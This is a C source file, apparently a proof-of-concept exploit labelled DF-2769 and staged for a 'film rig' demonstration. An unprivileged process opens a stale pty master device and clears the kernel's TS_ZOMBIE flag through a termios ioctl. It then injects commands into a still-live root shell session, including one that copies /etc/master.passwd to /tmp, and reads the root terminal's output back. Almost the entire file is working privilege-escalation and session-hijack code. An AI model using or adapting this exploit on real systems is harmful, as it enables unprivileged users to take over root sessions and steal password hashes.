DF-2769 / film_attack.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | /* * DF-2769 film rig — ATTACKER actor (runs as nobody, unprivileged). * * Staged takeover of a stale unix98 pty master: * 1. open /dev/ptm/N (fails ENOENT while devfs hides ptm) * 2. TIOCGETA + TIOCSETAW with c_cflag |= CLOCAL * -> ttioctl (sys/kern/tty.c:1065-1077) clears TS_ZOMBIE * 3. ptcwrite: inject a payload line into the still-live root session * 4. ptcread: capture the session's terminal output live * 5. interactive-style round trips: whoami / hostname / marker file * * Everything is printed with ATTACKER prefixes so the film log reads as * the attacker's own terminal. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/select.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <termios.h> #include <unistd.h> static int mfd; static void stage(const char *s) { printf("\nATTACKER| ----- %s -----\n", s); fflush(stdout); usleep(400000); } static void capture(int usec_per_poll, int rounds) { char out[2048]; ssize_t l; struct timeval tv; fd_set rfds; int r; for (r = 0; r < rounds; r++) { tv.tv_sec = 0; tv.tv_usec = usec_per_poll; FD_ZERO(&rfds); FD_SET(mfd, &rfds); if (select(mfd + 1, &rfds, NULL, NULL, &tv) <= 0) continue; l = read(mfd, out, sizeof(out) - 1); if (l <= 0) break; out[l] = 0; printf("ATTACKER-READ| %s", out); fflush(stdout); } } static void inject(const char *line) { stage("INJECT into the root session's tty"); printf("ATTACKER| $ write(master, \"%s\\n\")\n", line); if (write(mfd, line, strlen(line)) < 0) perror("ATTACKER| write"); write(mfd, "\n", 1); fflush(stdout); } int main(int argc, char **argv) { char path[64]; struct termios tio; int unit; setvbuf(stdout, NULL, _IOLBF, 0); if (argc < 2) { fprintf(stderr, "usage: film_attack <pts-path>\n"); return 1; } unit = atoi(strrchr(argv[1], '/') + 1); printf("ATTACKER| identity: uid=%ld euid=%ld (must be unprivileged)\n", (long)getuid(), (long)geteuid()); fflush(stdout); stage("open the STALE master /dev/ptm/N (the dead terminal's seat)"); snprintf(path, sizeof(path), "/dev/ptm/%d", unit); printf("ATTACKER| $ open(\"%s\", O_RDWR)\n", path); fflush(stdout); mfd = open(path, O_RDWR); if (mfd < 0) { printf("ATTACKER| -> %s [devfs hides /dev/ptm on the default ruleset]\n", strerror(errno)); printf("ATTACKER| RESULT=FENCED\n"); fflush(stdout); return 3; } printf("ATTACKER| -> master fd %d opened. I am the new master of a live session.\n", mfd); fflush(stdout); stage("clear the kernel's last fence: TS_ZOMBIE via TIOCSETAW + CLOCAL"); if (ioctl(mfd, TIOCGETA, &tio) < 0) { perror("ATTACKER| TIOCGETA"); return 1; } tio.c_cflag |= CLOCAL; if (ioctl(mfd, TIOCSETAW, &tio) < 0) { perror("ATTACKER| TIOCSETAW"); return 1; } printf("ATTACKER| -> TIOCSETAW(c_cflag|=CLOCAL) ok: TS_ZOMBIE cleared (tty.c:1065-1077)\n"); printf("ATTACKER| -> the dead terminal is alive again -- under MY control\n"); fflush(stdout); /* payload: exfiltration + uid-0 proof file, executed by the ROOT session */ inject("id > /tmp/df2769_pwned; cat /etc/master.passwd > /tmp/df2769_secret"); stage("capture the session's screen via ptcread"); capture(300000, 8); /* live interactive control: round trip with the root shell */ inject("whoami; hostname"); stage("the root shell answers ON MY screen"); capture(300000, 10); inject("echo DF-2769-PWNED > /tmp/df2769_marker"); stage("leave a 0:0-owned marker"); capture(300000, 6); printf("\nATTACKER| RESULT=HIJACKED (root session fully controlled by 'nobody')\n"); fflush(stdout); return 0; } |